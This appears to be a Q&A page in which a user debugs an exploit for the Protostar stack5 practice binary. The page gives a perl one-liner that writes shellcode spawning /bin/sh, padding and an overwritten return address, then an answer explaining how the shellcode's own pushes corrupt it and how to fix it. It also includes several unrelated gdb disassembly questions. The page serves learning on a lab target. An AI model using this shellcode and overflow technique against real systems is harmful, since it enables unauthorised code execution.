I am trying to solve Protostar stack5.
Here is a solution.
It puts the shellcode after the return address, I tried to put it before, in the array.
I have tried the shellcode, it works.
It seems everything OK, the execution jumps to shellcode, but I get a segmentation fault after the end of shellcode, and no shell is spawned. I do not know why, in gdb not all shellcode instructions appear properly.
For example at 0xbffff690 should be mov %esp,%ecx not cwtl. Maybe this is the problem? Why is this happening?
Edit: Since the array address will be slightly different when it is started outside gdb we need a nop sled. So my approach maybe will not work because the array size is too small for this. However I still want to know why the end of the shellcode is interpreted wrongly in gdb.
perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2
user#protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets#plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.
Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor %ebx,%ebx
(gdb)
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov $0x6,%al
(gdb)
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int $0x80
(gdb)
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push %ebx
(gdb)
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push $0x7974742f
(gdb)
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push $0x7665642f
(gdb)
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov %esp,%ebx
(gdb)
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor %ecx,%ecx
(gdb)
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov $0x2712,%cx
(gdb)
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov $0x5,%al
(gdb)
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int $0x80
(gdb)
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor %eax,%eax
(gdb)
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push %eax
(gdb)
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push $0x68732f2f
(gdb)
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push $0x6e69622f
(gdb)
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov %esp,%ebx
(gdb)
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push %eax
(gdb)
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push %ebx
(gdb)
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv %bh
(gdb)
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov $0x0,%edi
(gdb)
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
Interesting question. The answer is: you have a stack overflow in your stack overflow.
On my system, the disassembly for main is at a slightly different address:
(gdb) disas
Dump of assembler code for function main:
0x0804841d <+0>: push %ebp
0x0804841e <+1>: mov %esp,%ebp
0x08048420 <+3>: and $0xfffffff0,%esp
0x08048423 <+6>: sub $0x50,%esp
0x08048426 <+9>: lea 0x10(%esp),%eax
0x0804842a <+13>: mov %eax,(%esp)
0x0804842d <+16>: call 0x80482f0 <gets#plt>
0x08048432 <+21>: leave
0x08048433 <+22>: ret
End of assembler dump.
The stack address is also different: the return address when stopped at 0x0804841d is 0xffffcedc, which means that by the time I reach gets the value of $eax is 0xffffce90, and I need to adjust exploit code accordingly.
I then set a breakpoint in *0x08048433, and execute the following commands once I reach it:
(gdb) display/23i 0xffffce90
(gdb) stepi
Here is what I then see:
0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb) # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
=> 0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
=> 0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb)
So far, everything is proceeding nicely. But watch what happens when we reach 0xffffcebe and stepi over it:
0xffffcebf in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
=> 0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0x0,%al
0xffffcec5: add %al,(%eax)
The push just executed overwrote the int80 that used to be at 0xffffcec5 with something else (namely content of $eax). This is because we are executing instructions on the stack, while simultaneously pushing values onto that same stack!
Another stepi, and I see this:
(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
=> 0xffffcec0: enter $0xffce,$0xff
0xffffcec4: add %al,(%eax)
0xffffcec6: add %al,(%eax)
0xffffcec8: das
And the next stepi causes SIGSEGV:
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
So what's the solution?
When we enter code at 0xffffce90, our stack points to 0xffffcee0, i.e. just 80 bytes past the shellcode. Our shellcode length is 54 bytes. Therefore, we can push at most 6 words on the stack, before we start corrupting our shellcode.
Current shellcode pushes 8 words, corrupting itself with the 7th and 8th pushes.
The shellcode needs to either pop some words (e.g. add pop %eax after the first syscall at 0xffffcead), or extend the stack with e.g. add $0x80,%esp upon entry so there is plenty of space between end of shellcode and top of stack.
I've used the latter, and it worked:
(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash
Related
I believe this worked perfectly previously, but maybe I just forgot the correct syntax.
(gdb) disas main
Dump of assembler code for function main:
0x0000000000001125 <+0>: push rbp
0x0000000000001126 <+1>: mov rbp,rsp
0x0000000000001129 <+4>: mov DWORD PTR [rbp-0x4],edi
0x000000000000112c <+7>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000001130 <+11>: mov eax,0x0
0x0000000000001135 <+16>: pop rbp
0x0000000000001136 <+17>: ret
Now I want to disassemble at 0x0000000000001127, which is 1 byte into the first mov instruction:
(gdb) disas 0x0000000000001127
Dump of assembler code for function main:
0x0000000000001125 <+0>: push rbp
0x0000000000001126 <+1>: mov rbp,rsp
0x0000000000001129 <+4>: mov DWORD PTR [rbp-0x4],edi
0x000000000000112c <+7>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000001130 <+11>: mov eax,0x0
0x0000000000001135 <+16>: pop rbp
0x0000000000001136 <+17>: ret
It still starts the disassembly at the top of main.
I've also tried things such as main+1, disas /r, etc. Did gdb's behavior change somehow? I thought perhaps it was related to this being a PIE binary, but when I recompile it with -no-pie I still have this problem for something so simple.
What is the correct syntax?
It still starts the disassembly at the top of main.
When you give disas a single argument, it finds the enclosing function, and disassembles that entire function. This has been the behavior since forever.
If you give disas two arguments instead, then it will disassemble just the given range:
(gdb) disas &main
Dump of assembler code for function main:
0x00000000000005fa <+0>: push %rbp
0x00000000000005fb <+1>: mov %rsp,%rbp
0x00000000000005fe <+4>: mov $0x0,%eax
0x0000000000000603 <+9>: pop %rbp
0x0000000000000604 <+10>: retq
End of assembler dump.
(gdb) disas &main+3,&main+11
Dump of assembler code from 0x5fd to 0x605:
0x00000000000005fd <main+3>: in $0xb8,%eax
0x00000000000005ff <main+5>: add %al,(%rax)
0x0000000000000601 <main+7>: add %al,(%rax)
0x0000000000000603 <main+9>: pop %rbp
0x0000000000000604 <main+10>: retq
End of assembler dump.
You could also use x/i:
(gdb) x/4i &main+3
0x5fd <main+3>: in $0xb8,%eax
0x5ff <main+5>: add %al,(%rax)
0x601 <main+7>: add %al,(%rax)
0x603 <main+9>: pop %rbp
I've set the disassembly-flavor of the gdb-debugger to Intel (both: su & normal user), but anyway it's still showing the assembly-code in AT&T notation:
patrick#localhost:~/Dokumente/Projekte$ gdb -q ./a.out
Reading symbols from ./a.out...done.
(gdb) break main
Breakpoint 1 at 0x40050e: file firstprog.c, line 5.
(gdb) run
Starting program: /home/patrick/Dokumente/Projekte/a.out
Breakpoint 1, main () at firstprog.c:5
5 for(i=0; i < 10; i++)
(gdb) show disassembly
The disassembly flavor is "intel".
(gdb) info registers
rax 0x400506 4195590
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffe2d8 140737488347864
rsi 0x7fffffffe2c8 140737488347848
rdi 0x1 1
rbp 0x7fffffffe1e0 0x7fffffffe1e0
(gdb) info register eip
Invalid register `eip'
I did restart the computer. My OS is Kali Linux amd64.
I have the following questions:
Why is gdb still showing the AT&T notation?
Why is the register EIP (instruction pointer) shown as invalid register?
You are misunderstanding what disassembly flavour means. It means exactly that: what the disassembly looks like when you view machine code in a human-readable(ish) form.
To print registers (or use registers in any other context), you need to use $reg, such as $rip or $pc, $eax, etc.
If I disassemble one of my programs with at&t syntax, gdb shows this:
0x00000000007378f0 <+0>: push %rbp
0x00000000007378f1 <+1>: mov %rsp,%rbp
0x00000000007378f4 <+4>: sub $0x20,%rsp
0x00000000007378f8 <+8>: movl $0x0,-0x4(%rbp)
0x00000000007378ff <+15>: mov %edi,-0x8(%rbp)
0x0000000000737902 <+18>: mov %rsi,-0x10(%rbp)
=> 0x0000000000737906 <+22>: mov -0x10(%rbp),%rsi
0x000000000073790a <+26>: mov (%rsi),%rdi
0x000000000073790d <+29>: callq 0x737950 <FindLibPath(char const*)>
0x0000000000737912 <+34>: xor %eax,%eax
Then do this:
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main(int, char**):
0x00000000007378f0 <+0>: push rbp
0x00000000007378f1 <+1>: mov rbp,rsp
0x00000000007378f4 <+4>: sub rsp,0x20
0x00000000007378f8 <+8>: mov DWORD PTR [rbp-0x4],0x0
0x00000000007378ff <+15>: mov DWORD PTR [rbp-0x8],edi
0x0000000000737902 <+18>: mov QWORD PTR [rbp-0x10],rsi
=> 0x0000000000737906 <+22>: mov rsi,QWORD PTR [rbp-0x10]
0x000000000073790a <+26>: mov rdi,QWORD PTR [rsi]
0x000000000073790d <+29>: call 0x737950 <FindLibPath(char const*)>
0x0000000000737912 <+34>: xor eax,eax
and you can see the difference. But the names of registers and how you use registers on the gdb command-line isn't changing, you need a $reg in both cases.
I'm debugging a stripped elf with gdb.When I use "ni" to step over a function,GDB still step into the function.Then,how to instruction level single step over?
(gdb) x/5i $pc
0x2495: call 0xd900
0x249a: mov DWORD PTR [esp],eax
0x249d: call 0x300b3 <dyld_stub_chdir>
0x24a2: mov eax,DWORD PTR [ebp+0xc]
0x24a5: mov DWORD PTR [esp+0x4],eax
(gdb) ni
0x0000d900 in ?? ()
(gdb)
When i execute the following commands i get different address of function()
(gdb) break function()
Breakpoint 1 at function() 0x804834a.
(gdb) print function()
Breakpoint 1 at function() 0x8048344.
Why there is difference in both address?
This output can't be correct, it would be if you did something as:
int func(void) {
int a = 10;
printf("%d\n", a);
return 1;
}
after loading it into the gdb:
(gdb) p func
$1 = {int (void)} 0x4016b0 <func>
(gdb) b func
Breakpoint 1 at 0x4016b6: file file.c, line 4.
(gdb) disassemble func
Dump of assembler code for function func:
0x004016b0 <+0>: push %ebp
0x004016b1 <+1>: mov %esp,%ebp
0x004016b3 <+3>: sub $0x28,%esp
0x004016b6 <+6>: movl $0xa,-0xc(%ebp)
0x004016bd <+13>: mov -0xc(%ebp),%eax
0x004016c0 <+16>: mov %eax,0x4(%esp)
0x004016c4 <+20>: movl $0x405064,(%esp)
0x004016cb <+27>: call 0x403678 <printf>
0x004016d0 <+32>: mov $0x1,%eax
0x004016d5 <+37>: leave
0x004016d6 <+38>: ret
End of assembler dump.
(gdb)
Here func points to the exact first instruction in the function, push %ebp, but when you setup a break point, gdb sets it after stack frame initialization instructions:
0x004016b0 <+0>: push %ebp
0x004016b1 <+1>: mov %esp,%ebp
0x004016b3 <+3>: sub $0x28,%esp
at where the instructions of the function actually begins:
=> 0x004016b6 <+6>: movl $0xa,-0xc(%ebp)
0x004016bd <+13>: mov -0xc(%ebp),%eax
0x004016c0 <+16>: mov %eax,0x4(%esp)
0x004016c4 <+20>: movl $0x405064,(%esp)
0x004016cb <+27>: call 0x403678 <printf>
0x004016d0 <+32>: mov $0x1,%eax
0x004016d5 <+37>: leave
0x004016d6 <+38>: ret
here this instruction:
movl $0xa,-0xc(%ebp) ; 0xa = 10
is this part:
int a = 10;
Gdb sets a breakpoint after function prologue, as before the things are properly set up it could not show the expected state like local variables, etc.
Break therefor sets breakpoint and prints address of first instruction after prologue, whereas print prints the address of actual first instruction in function.
You can set a breakpoint to actual first instruction by doing break *0x8048344, then observe the value of local variables there and after prologue.
(gdb) n
253 conf.log = log;
Like above,the next statement is conf.log = log;,how can I just disas that?
I tried simply disas,but gdb will disassembly all the current function(I don't need so much)...
(gdb) disas
Dump of assembler code for function ngx_init_cycle:
0x0000000000417c7c <ngx_init_cycle+0>: push %rbp
0x0000000000417c7d <ngx_init_cycle+1>: mov %rsp,%rbp
0x0000000000417c80 <ngx_init_cycle+4>: push %rbx
0x0000000000417c81 <ngx_init_cycle+5>: sub $0x258,%rsp
0x0000000000417c88 <ngx_init_cycle+12>: mov %rdi,-0x228(%rbp)
0x0000000000417c8f <ngx_init_cycle+19>: callq 0x42b2fc <ngx_timezone_update>
0x0000000000417c94 <ngx_init_cycle+24>: mov 0x2b00e5(%rip),%rax # 0x6c7d80 <ngx_cached_time>
0x0000000000417c9b <ngx_init_cycle+31>: mov %rax,-0x88(%rbp)
0x0000000000417ca2 <ngx_init_cycle+38>: mov -0x88(%rbp),%rax
0x0000000000417ca9 <ngx_init_cycle+45>: movq $0x0,(%rax)
0x0000000000417cb0 <ngx_init_cycle+52>: callq 0x4149e7 <ngx_time_update>
0x0000000000417cb5 <ngx_init_cycle+57>: mov -0x228(%rbp),%rax
0x0000000000417cbc <ngx_init_cycle+64>: mov 0x10(%rax),%rax
0x0000000000417cc0 <ngx_init_cycle+68>: mov %rax,-0x90(%rbp)
0x0000000000417cc7 <ngx_init_cycle+75>: mov -0x90(%rbp),%rsi
0x0000000000417cce <ngx_init_cycle+82>: mov $0x4000,%edi
0x0000000000417cd3 <ngx_init_cycle+87>: callq 0x405c6c <ngx_create_pool>
0x0000000000417cd8 <ngx_init_cycle+92>: mov %rax,-0x80(%rbp)
0x0000000000417cdc <ngx_init_cycle+96>: cmpq $0x0,-0x80(%rbp)
---Type <return> to continue, or q <return> to quit---q
UPDATE
(gdb) info line 98
Line 98 of "src/os/unix/ngx_process_cycle.c" starts at address 0x42f6f3 <ngx_master_process_cycle+31>
and ends at 0x42f704 <ngx_master_process_cycle+48>.
(gdb) disas 0x42f6f3,0x42f704
Dump of assembler code for function ngx_master_process_cycle:
0x000000000042f6d4 <ngx_master_process_cycle+0>: push %rbp
0x000000000042f6d5 <ngx_master_process_cycle+1>: mov %rsp,%rbp
0x000000000042f6d8 <ngx_master_process_cycle+4>: push %rbx
0x000000000042f6d9 <ngx_master_process_cycle+5>: sub $0x128,%rsp
0x000000000042f6e0 <ngx_master_process_cycle+12>: mov %rdi,-0x108(%rbp)
0x000000000042f6e7 <ngx_master_process_cycle+19>: lea -0xe0(%rbp),%rdi
0x000000000042f6ee <ngx_master_process_cycle+26>: callq 0x402988 <sigemptyset#plt>
0x000000000042f6f3 <ngx_master_process_cycle+31>: lea -0xe0(%rbp),%rdi
0x000000000042f6fa <ngx_master_process_cycle+38>: mov $0x11,%esi
0x000000000042f6ff <ngx_master_process_cycle+43>: callq 0x402878 <sigaddset#plt>
0x000000000042f704 <ngx_master_process_cycle+48>: lea -0xe0(%rbp),%rdi
0x000000000042f70b <ngx_master_process_cycle+55>: mov $0xe,%esi
0x000000000042f710 <ngx_master_process_cycle+60>: callq 0x402878 <sigaddset#plt>
0x000000000042f715 <ngx_master_process_cycle+65>: lea -0xe0(%rbp),%rdi
0x000000000042f71c <ngx_master_process_cycle+72>: mov $0x1d,%esi
0x000000000042f721 <ngx_master_process_cycle+77>: callq 0x402878 <sigaddset#plt>
0x000000000042f726 <ngx_master_process_cycle+82>: lea -0xe0(%rbp),%rdi
0x000000000042f72d <ngx_master_process_cycle+89>: mov $0x2,%esi
0x000000000042f732 <ngx_master_process_cycle+94>: callq 0x402878 <sigaddset#plt>
---Type <return> to continue, or q <return> to quit---
try something to the effect of:
(gdb) info line 12
Line 12 of "test.c" starts at address 0x4004f4 <main+24>
and ends at 0x4004fe <main+34>.
(gdb) disas 0x4004f4,0x4004fe
Dump of assembler code from 0x4004f4 to 0x4004fe:
0x00000000004004f4 <main+24>: mov $0x0,%eax
0x00000000004004f9 <main+29>: callq 0x4004d0 <bp3>
End of assembler dump.
Or:
(gdb) disas main+24,main+34
Dump of assembler code from 0x4004f4 to 0x4004fe:
0x00000000004004f4 <main+24>: mov $0x0,%eax
0x00000000004004f9 <main+29>: callq 0x4004d0 <bp3>
End of assembler dump.
not sure of a more automatic way offhand.